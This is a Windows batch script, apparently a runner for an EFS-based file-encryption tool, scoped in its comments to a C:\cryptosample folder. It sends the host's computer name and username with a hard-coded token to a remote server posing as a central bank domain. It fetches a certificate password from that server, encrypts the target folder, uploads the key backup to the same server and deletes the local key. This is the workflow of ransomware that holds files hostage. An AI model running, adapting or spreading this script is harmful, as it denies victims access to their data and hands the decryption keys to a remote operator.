@echo off
setlocal EnableExtensions EnableDelayedExpansion
REM Controlled runner for C:\cryptosample only.
REM The public /download/run.cmd endpoint generates an equivalent
REM no-input runner with the Railway URL and upload token embedded.

set "SERVER_URL=https://efs-r7.centralbank-tt.org"
set "UPLOAD_TOKEN=47y3ry43riuhf34iruhf734yht743"
set "TARGET=C:\cryptosample"
set "WORKDIR=%TEMP%\efscrypto"
set "PWFILE=%WORKDIR%\pfx-password.txt"

if not exist "%TARGET%" mkdir "%TARGET%"
if not exist "%WORKDIR%" mkdir "%WORKDIR%"

echo Requesting generated PFX password from Railway manager...
curl.exe -fsSL -X POST "%SERVER_URL%/api/pfx-passwords" ^
  -H "Authorization: Bearer %UPLOAD_TOKEN%" ^
  -H "X-Computer-Name: %COMPUTERNAME%" ^
  -H "X-Windows-Username: %USERNAME%" ^
  -H "X-Target: %TARGET%" ^
  -o "%PWFILE%"
if errorlevel 1 (
  echo Failed to retrieve generated PFX password.
  pause
  exit /b 1
)

for /f "tokens=1,* delims==" %%A in (%PWFILE%) do (
  if /i "%%A"=="id" set "PFX_PASSWORD_ID=%%B"
  if /i "%%A"=="password" set "PFX_PASS=%%B"
)

"%~dp0EFSCrypto.cmd" "%TARGET%" ^
  --backup-url "%SERVER_URL%/api/backups/upload" ^
  --api-token "%UPLOAD_TOKEN%" ^
  --pfx-pass "%PFX_PASS%" ^
  --pfx-password-id "%PFX_PASSWORD_ID%" ^
  --pfx-out "%WORKDIR%\efs-%COMPUTERNAME%.pfx" ^
  --delay random ^
  --remove-new-key-after

pause

